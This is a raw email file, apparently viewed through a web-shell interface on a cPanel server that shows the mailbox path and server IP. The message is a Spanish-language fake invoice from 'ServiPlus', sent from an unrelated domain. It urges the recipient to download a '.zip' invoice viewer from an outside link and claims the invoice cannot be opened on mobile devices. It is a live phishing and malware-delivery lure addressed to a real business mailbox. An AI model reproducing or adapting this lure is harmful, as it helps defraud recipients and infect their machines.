PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/caa20236/mail/aan.cl/ventas/new/
Server: Linux int2.cpanelhost.cl 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
IP: 138.117.148.152
Choose File :

Url:
Dir : //home/caa20236/mail/aan.cl/ventas/new/1785524374.M348540P3618173.int2.cpanelhost.cl,S=9677,W=9971

Return-Path: <support@linetek.pt>
Delivered-To: ventas@aan.cl
Received: from int2.cpanelhost.cl
	by int2.cpanelhost.cl with LMTP
	id iDJoFJbwbGp9NTcAfWsSrQ
	(envelope-from <support@linetek.pt>)
	for <ventas@aan.cl>; Fri, 31 Jul 2026 14:59:34 -0400
Return-path: <support@linetek.pt>
Envelope-to: ventas@aan.cl
Delivery-date: Fri, 31 Jul 2026 14:59:34 -0400
Received: from srv.wage.pt ([151.236.55.180]:40089)
	by int2.cpanelhost.cl with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.99.2)
	(envelope-from <support@linetek.pt>)
	id 1wpsS8-0000000FBkl-3UgC
	for ventas@aan.cl;
	Fri, 31 Jul 2026 14:59:34 -0400
Received: by srv.wage.pt (Postfix, from userid 10000)
	id E5EEC1981098; Fri, 31 Jul 2026 19:57:26 +0100 (BST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linetek.pt;
	s=default; t=1785524246;
	bh=JVjtu4d+zJR4lD9x5l+c1+fEyymEdou3D5mCEXvU5po=; h=To:Subject:From;
	b=dso3QFzTOk0u4Q5J3bDyimnEIbNnCuuJxiKAu/sQklp7NyAiM2/tXnz21V0v04HlW
	 p7ac7k8OuA/8h9lFIGv2Q+qTGQ7aambRNJe3Mk64MCczY1IexUKkIytRJRh2UzThu9
	 cX9xdkZGZFgydPVX7yL9fXJqEG6XN/HSDh4IA0iA=
To: ventas@aan.cl
Subject: Factura - Agosto - 2026
Date: Fri, 31 Jul 2026 18:57:26 +0000
From: ServiPlus Servicios <support@linetek.pt>
Message-ID: <ba243cb80d7636c7f0e10e92f5833686@linetek.pt>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="b1_ba243cb80d7636c7f0e10e92f5833686"
Content-Transfer-Encoding: 8bit
X-PPP-Message-ID: 
 <178552424683.106549.18281101877498531018@localhost.localdomain>
X-PPP-Vhost: linetek.pt
X-Spam-Status: No, score=0.5
X-Spam-Score: 5
X-Spam-Bar: /
X-Ham-Report: Spam detection software, running on the system "int2.cpanelhost.cl",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Factura de Servicio - Julio body { margin: 0; padding: 20px;
    background-color: #f6f7fb; font-family: -apple-system,BlinkMacSystemFont,"Segoe
    UI",Roboto,"Helvetica Neue",Arial; color: #2b2b2b; } .container { max-width:
    640px; ma [...] 
 Content analysis details:   (0.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: zenolite.com]
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: linetek.pt]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.1 HTML_TAG_BALANCE_BODY  BODY: HTML has unbalanced "body" tags
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
                             envelope-from domain
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.0 LOTS_OF_MONEY          Huge... sums of money
X-Spam-Flag: NO

This is a multi-part message in MIME format.

--b1_ba243cb80d7636c7f0e10e92f5833686
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit



  
  
  Factura de Servicio - Julio
  
    body {
      margin: 0;
      padding: 20px;
      background-color: #f6f7fb;
      font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial;
      color: #2b2b2b;
    }
    .container {
      max-width: 640px;
      margin: 0 auto;
      background: #ffffff;
      border-radius: 10px;
      box-shadow: 0 6px 18px rgba(18,38,63,0.06);
      padding: 28px;
    }
    .header {
      display:flex;
      align-items:center;
      gap:10px;
      margin-bottom:18px;
    }
    .title {
      font-size:20px;
      font-weight:700;
      color:#13324a;
    }
    p { line-height:1.45; margin: 12px 0; }
    .card {
      background:#f8fafc;
      border-radius:8px;
      padding:14px;
      margin: 14px 0;
    }
    .muted { color:#6b7280; font-size:13px; }
    .fact-details { margin: 8px 0 0 0; padding-left: 16px; }
    .cta {
      display:inline-block;
      text-decoration:none;
      padding:10px 16px;
      border-radius:8px;
      background:#0b74d1;
      color:#fff;
      font-weight:600;
      margin-top:12px;
    }
    .footer { text-align:center; margin-top:20px; font-size:13px; color:#4b5563; }
    .brand { display:inline-flex; align-items:center; gap:8px; justify-content:center; margin-top:8px; }
    @media (max-width:480px) {
      .container { padding:18px; }
      .title { font-size:18px; }
    }
  


  
    
      📄
      Factura de Servicio — Agosto

    

    Estimado/a cliente, ventas@aan.cl

    
      Le informamos que su factura correspondiente a los servicios prestados durante Agosto
 ya está disponible. 
      A continuación encontrará los datos principales:
    

    
      Detalles de la factura
      
        Factura N.º: #48597
        Fecha de emisión: 28/07/2026
        Monto total: $385.900
        Vencimiento: 15/08/2026
      

      
        El comprobante descargable incluirá el detalle completo de los servicios prestados, 
        con las fechas y valores individuales de cada servicio.
        Después de abrir el visor (.zip) de factura, se mostrarán todos los valores y servicios prestados.
      

      Descargar Visor Factura 
    

    Si necesita aclaraciones o asistencia adicional, nuestro equipo está a su disposición.
    Factura no disponible en dispositivos móviles.

    
      Gracias por su confianza.
      
        🧾
        ServiPlus


--b1_ba243cb80d7636c7f0e10e92f5833686
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 8bit

<html lang="es">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <title>Factura de Servicio - Julio</title>
  <style>
    body {
      margin: 0;
      padding: 20px;
      background-color: #f6f7fb;
      font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial;
      color: #2b2b2b;
    }
    .container {
      max-width: 640px;
      margin: 0 auto;
      background: #ffffff;
      border-radius: 10px;
      box-shadow: 0 6px 18px rgba(18,38,63,0.06);
      padding: 28px;
    }
    .header {
      display:flex;
      align-items:center;
      gap:10px;
      margin-bottom:18px;
    }
    .title {
      font-size:20px;
      font-weight:700;
      color:#13324a;
    }
    p { line-height:1.45; margin: 12px 0; }
    .card {
      background:#f8fafc;
      border-radius:8px;
      padding:14px;
      margin: 14px 0;
    }
    .muted { color:#6b7280; font-size:13px; }
    .fact-details { margin: 8px 0 0 0; padding-left: 16px; }
    .cta {
      display:inline-block;
      text-decoration:none;
      padding:10px 16px;
      border-radius:8px;
      background:#0b74d1;
      color:#fff;
      font-weight:600;
      margin-top:12px;
    }
    .footer { text-align:center; margin-top:20px; font-size:13px; color:#4b5563; }
    .brand { display:inline-flex; align-items:center; gap:8px; justify-content:center; margin-top:8px; }
    @media (max-width:480px) {
      .container { padding:18px; }
      .title { font-size:18px; }
    }
  </style>
</head>
<body>
  <div class="container" role="article" aria-label="Factura de Servicio - Agosto
">
    <div class="header">
      <div style="font-size:22px;">📄</div>
      <div class="title">Factura de Servicio — Agosto
</div>
    </div>

    <p>Estimado/a cliente, ventas@aan.cl</p>

    <p class="muted">
      Le informamos que su factura correspondiente a los servicios prestados durante <strong>Agosto
</strong> ya está disponible. 
      A continuación encontrará los datos principales:
    </p>

    <div class="card" aria-labelledby="detalles">
      <div id="detalles" style="font-weight:700; margin-bottom:8px;">Detalles de la factura</div>
      <ul class="fact-details">
        <li><strong>Factura N.º</strong>: #48597</li>
        <li><strong>Fecha de emisión</strong>: 28/07/2026</li>
        <li><strong>Monto total</strong>: $385.900</li>
        <li><strong>Vencimiento</strong>: 15/08/2026</li>
      </ul>

      <p class="muted" style="margin-top:10px;">
        El comprobante descargable incluirá el <strong>detalle completo de los servicios prestados</strong>, 
        con las <strong>fechas y valores individuales</strong> de cada servicio.
        Después de abrir el visor (.zip) de factura, se mostrarán todos los valores y servicios prestados.
      </p>

      <a class="cta" href="https://zenolite.com//servi/plus/Agosto/Factboleta/?hash=ventas@aan.cl" target="_blank" rel="noopener noreferrer">Descargar Visor Factura</a> 
    </div>

    <p class="muted">Si necesita aclaraciones o asistencia adicional, nuestro equipo está a su disposición.</p>
    Factura no disponible en dispositivos móviles.

    <div class="footer">
      <div style="font-weight:700;">Gracias por su confianza.</div>
      <div class="brand">
        <span>🧾</span>
        <span style="font-weight:700;">ServiPlus



--b1_ba243cb80d7636c7f0e10e92f5833686--